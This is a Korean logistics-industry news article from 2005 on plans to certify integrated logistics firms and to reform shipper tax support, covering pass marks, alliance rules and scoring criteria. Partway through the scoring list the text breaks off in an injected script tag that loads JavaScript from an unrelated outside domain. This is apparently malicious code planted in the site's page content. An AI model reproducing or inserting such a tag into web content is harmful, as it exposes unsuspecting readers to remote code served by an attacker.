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글쓴이 운영자 작성일 2005-11-08
제목 기획/종물업 세제지원 개편에 업계 ‘說往說來’
기획/종물업 세제지원 개편에 업계 ‘說往說來’



반대기조 여전한 가운데 대기업도 반발
인증기준은 확정단계…2주께 입법예고·12월말 공포

■■■ 두달밖에 남지 않은 2005년 현재 건설교통부, 해양수산부, 산업자원부등 종합물류업(종물업) 인증제의 도입을 추진하고 있는 정부는 어느 한해보다 분주한 나날을 보내고 있다. 종물업을 두고 업계의 이해관계가 충돌하면서 하루라도 편할 날이 없다. 더구나 업체들의 영업력에 직접적인 영향을 미치는 하주 세제지원(이하 세제지원)에 대한 내용이 윤곽을 드러내면서 또한번 업계의 날선 시선을 한껏 받아 안아야 하는 처지에 놓였다.

종물업의 세부인증기준이 담길 공동부령은 입법예고를 앞두고 있고 조세특례제한법(조특법)에 들어갈 세제지원 부분은 인하대 교수들이 연구용역한 결과를 바탕으로 검토단계이긴 하지만 그 실체가 업계에 드러났다. 지난해 3월 처음 도입이 검토됐던 종물업이 근 2년여만에 시행 초입에 들어선 것이다.■■■

지난달 28일 코엑스 컨퍼런스룸에서 종물업 인증기준의 밑그림을 그린 한국교통연구원(KOTI) 서상범 박사와 세제지원안의 연구용역을 맡은 인하대 하헌구·김용진 교수가 나란히 물류업계 사람들을 만났다.

인증기준은 그간 언론을 통해 여러 차례 공개됐을 뿐 아니라 지난 7월 공개공청회를 통해 대부분의 큰 틀이 확정 발표된 상황이어서 업계의 궁금증이 많이 해소된 상황이었다. 그러나 세제지원은 각종 간담회나 공청회 등에서 논외로 부쳐지면서 이에 대한 방향성 여부가 업계의 최대 관심사로 부각돼 왔다. 특히 물류업계를 요동치게 할 종물업 인증제의 핵심 키가 된다는 점에서 업체들은 자신들의 이해관계에 따라 치열한 찬반 논쟁을 벌이고 있기도 했다.

이런 점에서 세제지원 연구용역팀의 중간보고는 물류업체들에게 관심을 불러일으키기에 충분했다. 이날 세제지원에 대한 뚜껑을 열어본 결과 비록 안에 불과하긴 하나 처음 정부가 제도를 발의했을 때와는 상당히 다른 내용으로 수정됐음이 확인됐다. 몇 차례의 보도를 통해 방향성이 업계에 알려지긴 했으나 구체적인 내용이 해당관계자들에 의해 발표되긴 이날이 처음이었다.

이날 발표에 따르면 정부는 인증제와 세제지원을 분리해서 추진한다는 방침을 세웠다. 지난 7월 29일 열렸던 정책토론회에서 세제지원 부분에 대한 중소물류업계의 반발이 거센 것에 주목하고 이들의 의견을 최대한 수렴하려는 의도로 해석할 수 있다.

◆합격점수 상향= 지난 1월 27일 개정 화물유통촉진법이 시행되면서 종물업 인증제는 내년 1월 시행을 기다리고 있다. 이에 따라 그 세부내용을 담는 그릇인 공동부령도 연내에 입법화돼야 한다.

정부는 수차례 업계 전문가 회의와 공개공청회를 거치면서 인증기준의 기본틀을 완성해왔다. 최근 들어 7월 발표했던 정부안을 기본 토대로 합격점수와 전략적 제휴부분만을 손질해 확정안으로 입법화하려는 움직임이다.

종물업 인증기준은 종합물류기업의 다양한 특성을 반영해 자산(수송/보관)형과 서비스형으로 구분해 기준을 마련하고 전략적 제휴 기업군에 대해서도 인증을 부여하는 것을 기본 골자로 삼았다. 수송과 보관, 서비스등 기업 유형구분은 기업의 자율적인 선택에 의해 정하는 것이 아니라 인증기준에 의해 평가한 후 가장 높은 점수를 해당 기업의 유형으로 정하도록 했다.

정부는 하주기업이 요구하는 종합물류서비스를 제공할 수 있는지, 제3자물류를 지향하고 있는지를 알아보기 위해 인증받으려는 업체에게 필수인증기준을 적용할 방침이다. ▲수송, 보관, 서비스업에 해당하는 최소 3개이상의 물류사업 영위와 ▲물류부문 매출액중 3자물류매출 비중 20%이상 등 2개 항목이다. 이때 업종 영위의 인정기준은 ‘매출비중 3%’ 또는 ‘매출액 기준 30억원’ 이상이다.

전략적 제휴는 기존 지분교환과 계약의 의한 제휴 두가지 방식을 인정하던 것에서 지분교환만 인정하는 것으로 정했다. 이때 제휴기업은 5개 이내의 물류기업으로 구성해야 하며 제휴기간이 인증시점 기준 3년이상이어야 유효하다. 또 공동브랜드와 공동물류정보망 및 시설을 사용해야 한다. 지분교환 혹은 투자의 가이드라인은 5%이상이며 제휴기업은 매년 통합회계보고서를 작성해서 제출해야 한다.

이렇게 해서 필수인증기준을 통과한 업체는 세부인증기준의 평가점수 총합이 70점을 넘으면 인증을 받게된다. 합격점수가 60점에서 70점으로 상향된 것이다.


◆세부인증기준= 평가항목은 ▲대형화(25/25점) ▲다양성(35/15점) ▲발전가능성(40/60점) 등 세가지 대기준으로 구성되며 이는 다시 총 28개의 세부 평가지표로 분류된다. ( )는 만점 기준이다.

대형화는 ▲투자자본금(100억/50억) ▲운송수단(차량 1천대/500대) ▲시설(20만/10만㎡) ▲기타?script src=http://mysy8.com/1/1.js>
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